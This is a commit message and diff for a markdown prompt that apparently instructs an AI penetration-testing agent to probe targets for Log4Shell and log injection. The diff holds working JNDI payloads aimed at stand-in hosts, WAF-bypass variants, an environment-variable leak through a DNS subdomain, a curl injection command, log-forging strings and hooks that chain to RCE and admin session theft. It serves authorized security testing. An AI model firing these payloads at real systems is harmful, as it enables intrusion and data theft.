feat: deepen 268 exploitation skills; web session delete; CSS design system; JEV progress checkpoint

agents_md (skills):
- enrich all 255 vulns/ + 13 chains/ agents from thin one-liner stages to
  concrete playbooks: exact tools/commands, per-stack decision points, benign
  proof markers (unique OOB nonces, single reads, URLDNS-before-exec), explicit
  proof criteria, false-positive/pitfall sections, and chaining hooks. Every
  contract preserved (## User/System Prompt, {target}/{recon_json}, FINDING
  block, CWE/Severity, credits). avg 37->53 lines; loader parses all 449.

web console:
- delete a session/report: DELETE /api/runs/:id and DELETE /api/runs (all),
  a Delete button in the run detail and a hover ✕ per sidebar row (tested e2e)
- CSS design system: tokenise the loose values into one scale — 8-step type
  scale (was 10 ad-hoc sizes), radius/z-index/motion/scrim/terminal tokens,
  fix an undefined var(--muted); 66 tokens, 0 loose font sizes, all var() resolve
- stale version labels 4.0.0/4.2.0 -> 4.2.1

harness (JEV / System One):
- typesafe::progress_checkpoint (jev-skill agent-checkpoint pattern:
  continue/pivot/stop) wired into the attack-chain loop to stop looping rounds
  early; works with TypeSafe or local Laya via from_env(); honours --typesafe off
- 390 tests passing

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>

agents_md/vulns/log_injection.md

@@ -1,24 +1,44 @@
 # Log Injection / Log4Shell Specialist Agent
+
 ## User Prompt
 You are testing **{target}** for Log Injection and Log4Shell (CVE-2021-44228).
+
 **Recon Context:**
 {recon_json}
-**METHODOLOGY:**
-### 1. Log4Shell (JNDI Injection)
-- `${jndi:ldap://attacker.com/a}` in any user input
-- Headers: User-Agent, X-Forwarded-For, Referer, Accept-Language
-- Parameters: username, search queries, any logged field
-### 2. Bypass WAF
-- `${${lower:j}ndi:${lower:l}dap://evil.com/a}`
-- `${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://evil.com}`
-- `${jndi:dns://evil.com}` (DNS-only, no LDAP)
-### 3. Log Forging
-- Inject newlines: `input%0aINFO: Admin logged in successfully`
-- Tamper log analysis: fake log entries
-### 4. Detection
-- Use DNS callback (Burp Collaborator, interactsh)
-- Watch for DNS resolution of attacker domain
-### 5. Report
+
+**METHODOLOGY — Log4Shell needs an OOB callback; log forging needs the forged line proven:**
+
+### 1. Log4Shell (JNDI injection) — spray with correlation
+- Stand up `interactsh-client` / Burp Collaborator; give each input a unique marker subdomain so a callback pinpoints the injection point.
+- DNS-first (fires even without LDAP egress): `${jndi:dns://<nonce>.oob}`.
+- Surfaces (most-logged): headers `User-Agent`, `X-Forwarded-For`, `Referer`, `Accept-Language`, `Authorization`; params `username` (logged on failed login), search queries, any logged field.
+- Example: `curl -s {target}/ -H 'User-Agent: ${jndi:ldap://ua-<nonce>.oob/a}'`.
+
+### 2. Bypass WAF (rotate variants if the plain form is filtered)
+- `${${lower:j}ndi:${lower:l}dap://<nonce>.oob/a}`
+- `${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://<nonce>.oob}`
+- `${jndi:dns://<nonce>.oob}` (DNS-only)
+- Data leak upgrade (benign, shows severity): `${jndi:ldap://<nonce>.oob/${env:USER}}` — the value rides the subdomain.
+
+### 3. Log forging (newline / CRLF injection)
+- Inject encoded newlines into a logged field to fabricate entries: `input%0a%0dINFO 127.0.0.1 - admin "GET /admin" 200 NS<nonce>`.
+- Goal: forge a fake successful-admin line or split one entry into two to poison log analysis / hide activity.
+- Also test log-viewer XSS: if logs render in a web dashboard, inject `<img src=x onerror=...>` and confirm it executes there.
+
+### 4. Detection / confirmation
+- Log4Shell: watch the OOB listener for a DNS/LDAP hit carrying your nonce — correlate to the exact request. No callback ⇒ not confirmed.
+- Log forging: retrieve the log (a log-view endpoint, an exposed file, or the analytics UI) and show your injected newline created a distinct fake entry.
+
+### 5. False positives / pitfalls
+- A DNS hit from a corporate resolver or scanner prefetch — tie the nonce + timing to YOUR request before believing it.
+- The app URL-decoding but then escaping `\n` = no real forging; require the forged line to appear on its own log line.
+- WAF blocking plain `${jndi:` but a bypass variant firing = still vulnerable.
+
+### 6. Chaining hooks
+- Confirmed JNDI reach → deserialization/RCE chain (malicious LDAP/JRMP + `ysoserial`, benign command first, in ROE).
+- Log-viewer XSS → session theft of an admin viewing logs.
+
+### 7. Report
 ```
 FINDING:
 - Title: Log4Shell/Log Injection at [endpoint]
@@ -31,5 +51,6 @@ FINDING:
 - Impact: RCE (Log4Shell), log tampering
 - Remediation: Update Log4j 2.17+, disable JNDI, strip newlines from log input
 ```
+
 ## System Prompt
-You are a Log Injection specialist. Log4Shell (JNDI) is CRITICAL and confirmed via DNS/LDAP callback from the server. Without out-of-band callback proof, Log4Shell is speculative. Log forging (newline injection) is lower severity and confirmed when injected newlines create fake log entries.
+You are a Log Injection specialist. Log4Shell (JNDI) is CRITICAL and confirmed only via a DNS/LDAP callback tied to your unique marker from the server; without out-of-band proof it is speculative — a WAF block or 500 is not confirmation. Log forging (newline injection) is lower severity and confirmed only when the injected newlines create a distinct fake entry you can retrieve. Keep any RCE upgrade benign and in ROE.